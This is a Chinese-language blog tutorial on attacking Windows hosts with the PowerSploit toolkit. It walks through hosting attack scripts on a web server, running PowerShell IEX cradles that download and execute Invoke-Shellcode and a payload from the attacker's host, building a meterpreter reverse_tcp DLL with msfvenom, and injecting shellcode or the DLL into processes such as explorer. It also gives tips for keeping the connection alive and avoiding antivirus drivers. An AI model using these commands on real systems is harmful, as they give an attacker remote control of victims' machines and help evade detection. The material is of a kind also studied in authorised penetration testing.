PowerSploit-CodeExecution(代码执行)脚本渗透实战

首先介绍一下国外大牛制作的Powershell渗透工具PowerSploit,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。

项目地址:https://github.com/PowerShellMafia/PowerSploit


该利器主要分为几个板块

一、代码执行(CodeExecution)

1. Invoke-DllInjection 

2. Invoke-ReflectivePEInjection

3. Invoke-Shellcode

4. Invoke-WmiCommand

二、脚本修改(ScriptModification)

1. Out-EncodedCommand

2. Out-CompressedDll

3. Out-EncryptedScript

4. Remove-Comments

三、权限维持(Persistence)

1. New-UserPersistenceOption

2. New-ElevatedPersistenceOption

3. Add-Persistence

4. Install-SSP

5. Get-SecurityPackages

四、绕过杀毒软件(AntivirusBypass)

Find-AVSignature

五、信息收集(Exfiltration)

这个文件夹主要是收集目标主机上的信息。

六、信息侦察(Recon)

这个文件夹主要是以目标主机为跳板进行内网主机侦察。

 

总结下就是:

CodeExecution 在目标主机执行代码

ScriptModification 在目标主机上创建或修改脚本

Persistence 后门脚本(持久性控制)

AntivirusBypass 发现杀软查杀特征

Exfiltration 目标主机上的信息搜集工具

Mayhem 蓝屏等破坏性脚本

Recon 以目标主机为跳板进行内网信息侦查

安装方法

我们在Linux下首先clone这个git:

git clone https://github.com/PowerShellMafia/PowerSploit.git

然后将clone下的文件放入保证被攻击机能够访问的机器上面,这里我们采用本机,在本机搭建apache环境,将文件放入/var/www/html目录下即可。
开启apache服务:

service apache2 start

 


 

 

 

 

 

实战运用:

 

CodeExecution模块

a) 调用Invoke-Shellcode将shellcode注入到本地的Powershell。

1)利用msfvenom生成一个反弹木马,以供invoke-shellcode注入,同样生成的反弹马放入web中。

 

2) 调用目标机的powershell进行IEX远程下载invoke-shellcode脚本和生成的木马

首先下载脚本

PS C:\Documents and Settings\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSp
loit/CodeExecution/Invoke-Shellcode.ps1")

下载生成好的木马

PS C:\Users\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/code")

 

 3)kali设置msf监听

 

4)在powershell中调用invoke-shellcode(可通过help命令来查询具体操作以及例子)。

 

PS C:\Users\Administrator> Invoke-Shellcode -Shellcode $buf -Force

 

 

 

 

 

 

 

b) 调用invoke-shellcode将shellcode注入到指定的进程中。

1)前面步骤和a的步骤一致,唯一不同的就是在最后的命令上,首先,查看我们需要注入的进程,建议可注入到系统的进程,因为一旦进程关闭,那么监听也将终断,因此系统进程一般不会被关闭,注意:不能注入到像360等驱动中,不然会被强制关闭。

 比如我要注入explorer这个进程(Windows程序管理器或者文件资源管理器) ,首先要查看该进程的pid

ps -Name explorer

 

 

 

  可以看到id为1228 注入该进程

 

Invoke-Shellcode -Shellcode $buf -ProcessID 1228 -Force

 

注意:和a类似的,若关闭注入的进程,则连接中断。

 

c) 调用invoke-dllinjection将DLL注入到进程中。

 

1)通过msfvenom生成DLL的反弹木马,并下载到目标主机中(为了方便,直接将dll文件下载至powershell运行的桌面),在实际环境中,也可以通过该方法进行传输dll文件。

 

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.190.141 lport=4444 -f dll -o /var/www/html/code.dll

 

 开启监听 注意payload需要和生成的dll执行的payload一致;

 

PS C:\Users\Administrator> IEX(New-Object Net.Webclient).DownloadString("http://192.168.190.141/PowerSploit/CodeExecutio
n/Invoke-DllInjection.ps1")

 

注入

PS C:\Users\Administrator> Invoke-DllInjection -Dll .\code.dll -ProcessID 2700

 

 

 

posted @ 2019-03-15 20:56  卿先生  阅读(1637)  评论(0编辑  收藏  举报